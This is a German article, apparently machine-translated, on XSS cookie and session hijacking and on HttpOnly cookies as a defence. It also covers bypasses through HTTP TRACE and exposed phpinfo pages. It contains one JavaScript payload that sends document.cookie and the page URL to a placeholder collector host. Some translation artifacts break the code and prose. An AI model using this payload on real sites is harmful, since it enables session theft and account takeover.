Mit dem Aufstieg von www-Diensten sind immer mehr Anwendungen auf B/S-Strukturen umgestiegen, sodass eine Vielzahl von Webdiensten mit nur einem Browser zugänglich ist, was aber auch zunehmend zu immer mehr Websicherheitsproblemen führt. www-Dienst basiert auf dem HTTP-Protokoll, Http ist ein zustandsloses Protokoll, sodass es unvermeidlich ist, Cookies oder Sitzungen und andere Technologien zu verwenden, um den Zustand des Besuchers zu markieren, und egal, ob es sich um ein Cookie oder eine Sitzung handelt, wird dies in der Regel mit Cookies implementiert (die Sitzung wird tatsächlich mit einem Token im Browser-Cookie markiert, Der Server erhält dieses Token, prüft die Legitimität und bindet den entsprechenden auf dem Server gespeicherten Zustand an den Browser), sodass er sich zwangsläufig sicher auf das Cookie konzentriert; solange dieses Cookie erhalten ist, kann die Identität anderer erlangt werden, was für Eindringlinge sehr vorteilhaft ist, besonders wenn das erhaltene Cookie einer hochprivilegierten Person wie einem Administrator gehört, ist der Schaden noch größer. Unter verschiedenen Websicherheitsproblemen ist die XSS-Schwachstelle besonders gefährlich.
Bei Anwendungen bedeutet das, dass nach einer XSS-Schwachstelle andere beliebige JS-Skripte im Browser ausführen können, und wenn die Anwendung Open Source ist oder die Funktionen öffentlich sind, können andere Ajax nutzen, um diese Funktionen zu nutzen, aber der Prozess ist oft umständlich, besonders wenn man direkt die Identität einer anderen Person für gelegentliches Surfen erhalten möchte. Für nicht-Open-Source-Anwendungen, wie den Webhintergrund einiger großer Seiten (ein bedeutendes Merkmal von Web2.0 ist eine große Anzahl von Interaktionen; Nutzer müssen oft im Hintergrund mit den Administratoren interagieren, wie Fehlerberichte, Informationsübertragung usw.), obwohl es aufgrund der Interaktion Seitenübergreifende Skriptlücken geben kann, ist es aufgrund mangelndes Hintergrundverständnisses unmöglich, perfekten Ajax-Code zu erstellen, selbst wenn man JS verwenden kann, um den Hintergrundcode zu erhalten und zur Analyse zurückzugeben, aber der Prozess ist auch umständlich und nicht verborgen. Derzeit ist es sehr effektiv, die xss-Schwachstelle zu nutzen, um Cookies oder Sitzungs-Hijacking zu erhalten, die Authentifizierung der Anwendung gezielt zu analysieren und dann bestimmte Techniken anzuwenden und sogar dauerhaft die Identität der anderen Partei zu erhalten, selbst wenn diese das Programm verlässt.
Wie bekommt man also Cookie- oder Session-Hijacking? Im Dokumentobjekt im Browser werden die Cookie-Informationen gespeichert, und das Cookie kann mit JS abgerufen werden; solange Sie dieses Cookie erhalten, können Sie die Identität einer anderen Person erhalten. Eine typische XSS-Angriffsausweisung lautet wie folgt:
- xss exp:
- url=document.top.locatio去掉n.href;
- cookie=document.cookie;
- c=new Image();
- c.src=’<a target="_blank">http://www.xxx.net/c.php?c=</a>’+cookie+’&u=’+url;
Einige Anwendungen verwenden Browser-Bindungstechniken, um dieses Problem zu lösen, etwa indem sie Cookies an den User-Agent des Browsers binden und das Cookie als ungültig betrachten, sobald es entdeckt wird. Diese Methode hat sich als wirkungslos erwiesen, denn wenn der Eindringling den Cookie stiehlt, muss er gleichzeitig den User-Agent erhalten haben. Es gibt auch eine weitere strikte Methode, die Cookies an Remote-addr bindet (tatsächlich ist es an IP gebunden, aber einige Programme haben Probleme mit der Methode zur IP-Erlangung, was ebenfalls zu einer Sparade führt), was jedoch zu einer sehr schlechten Benutzererfahrung führt; IP-Änderung ist üblich, zum Beispiel sind Arbeit und Zuhause zwei IPs, weshalb diese Methode oft nicht angewendet wird. Daher sind cookie-basierte Angriffe heute sehr verbreitet, und es ist einfach, den Administratorstatus der Anwendung auf einigen Web-2.0-Seiten zu erhalten.
Wie schützen wir unsere sensiblen Cookies? Durch die obige Analyse werden allgemeine Cookies von Dokumentobjekten erhalten, und wir müssen nur sensible Cookies im Browserdokument unsichtbar machen. Glücklicherweise akzeptieren Browser heute im Allgemeinen einen Parameter namens HttpOnly beim Setzen von Cookies, genau wie andere Parameter wie die Domain; sobald dieses HttpOnly gesetzt ist, sehen Sie das Cookie nicht mehr im Dokumentobjekt des Browsers, und der Browser wird beim Surfen in keiner Weise beeinflusst, da das Cookie im Browser-Header (einschließlich ajax) gesendet wird. Anwendungen verwenden diese sensiblen Cookies in js in der Regel nicht, wir verwenden HttpOnly für einige sensible Cookies und setzen keine Cookies, die mit js in der Anwendung betrieben werden müssen, was die Sicherheit der Cookie-Informationen und die Anwendung gewährleistet. Weitere Informationen zu HttpOnly finden Sie unter http://msdn2.microsoft.com/en-us/library/ms533046.aspx.
Der Header zum Setzen von Cookies in Ihrem Browser lautet wie folgt:
- Set-Cookie: =[; =]
- [; expires=][; domain=]
- [; path=][; secure][; HttpOnly]
Nehmen wir php als Beispiel: Unterstützung für HttpOnly wurde der Setcookie-Funktion in php 5.2 hinzugefügt, zum Beispiel:
setcookie("abc","test",NULL,NULL,NULL,NULL,NULL,NULL,TRUE);
Sie können das abc-Cookie auf HttpOnly-Einstellung setzen, und das Dokument wird für dieses Cookie nicht sichtbar sein. Da die SetCookie-Funktion im Wesentlichen ein Header ist, kannst du den Header auch verwenden, um HttpOnly. Dann verwenden Sie document.cookie, um zu sehen, dass dieses Cookie nicht mehr verfügbar ist. Wir nutzen diese Methode, um Sessionid zu schützen, zum Beispiel einige Auth-Cookies zur Authentifizierung, damit wir uns keine Sorgen machen müssen, dass die Identität erlangt wird, was für einige Hintergrundprogramme und Webmail von großer Bedeutung ist, um die Sicherheit zu verbessern. Wenn wir die oben genannte Angriffsmethode erneut anwenden, sehen wir, dass wir keine sensiblen Cookies mehr erhalten können, die wir als HttpOnly-Cookies festgelegt haben.
Allerdings ist auch zu erkennen, dass HttpOnly nicht allmächtig ist, erstens kann es das Problem von xss nicht lösen, kann den Angriffen einiger geduldiger Hacker nicht widerstehen, noch kann es Eindringlinge daran hindern, Ajax-Submissions durchzuführen, und sogar einige xss-basierte Proxys sind aufgetaucht, aber es war möglich, die Schwelle der Angriffe zu erhöhen, zumindest werden xss-Angriffe nicht von jedem Script Kid durchgeführt, und andere Angriffsmethoden sind auf einige Umwelt- und technische Einschränkungen zurückzuführen. Das ist nicht so häufig wie Keksdiebstahl.
HttpOnly kann auch einige Schwachstellen ausnutzen oder Bypass konfigurieren, das Hauptproblem ist, dass solange der Cookie-Header vom Browser gesendet wird, Zum Beispiel kann der vorherige Http-Trace-Angriff den Cookie in deinem Header zurückgeben, und dieser Angriff kann mit Ajax oder Flash ausgeführt werden, was ebenfalls in Ajax und Flash gepatcht wurde. Ein weiteres bemerkenswertes Beispiel für eine mögliche Umgehung bei der Konfiguration oder Anwendung ist phpinfo; wie Sie wissen, zeigt phpinfo den vom Browser gesendeten http-Header an, einschließlich der von uns geschützten Authentifizierungsinformationen, und diese Seite existiert oft auf verschiedenen Seiten. Solange Sie Ajax verwenden, um die phpinfo-Seite zu erhalten, entfernen Sie den Teil, der dem Header-Header entspricht, um den Cookie zu erhalten. Unregelmäßigkeiten in einigen Anwendungen können auch zu Header-Lecks führen, die genauso stark angegriffen werden können wie eine durch einfache Verifikation geschützte Seite.
HttpOnly wird ab IE 6 und höher besser unterstützt, wird häufig in Anwendungen wie Hotmail eingesetzt und hat relativ gute Sicherheitsergebnisse erzielt.
|
Veröffentlicht am 03.06.2015 20:57:48
|
|
|
